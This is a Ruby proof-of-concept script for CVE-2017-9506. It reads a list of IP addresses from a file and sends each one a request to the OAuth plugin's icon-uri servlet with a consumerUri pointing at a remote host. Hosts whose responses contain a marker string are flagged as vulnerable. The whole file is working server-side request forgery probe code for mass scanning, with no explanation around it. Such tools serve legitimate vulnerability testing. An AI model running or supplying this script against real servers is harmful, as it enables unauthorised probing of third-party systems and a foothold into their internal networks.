POC CVE-2017-9506.rb

CVE-2017-9506.rb

require 'httparty'
require 'colorize'
File.readlines(ARGV[0]).each do |ip|
  ip.strip!

  begin
    print "ip: #{ip} - "
    response = HTTParty.get("http://#{ip}/plugins/servlet/oauth/users/icon-uri?consumerUri=http://remote",
                            {timeout: 5, verify: false, headers: { "User-Agent" => "POC" }})
    if response.code != 200 && response.code != 404
      print "Status - #{response.code} - ".colorize(:yellow)
    end
    if response.body =~ /0643033901/i
      puts "VULNERABLE".colorize(:red)
    else
      puts "SAFE".colorize(:green)
    end
  rescue HTTParty::RedirectionTooDeep
    puts "Too many redirections".colorize(:orange)
  rescue Net::OpenTimeout, Net::ReadTimeout
    puts "Timeout".colorize(:yellow)
  end
end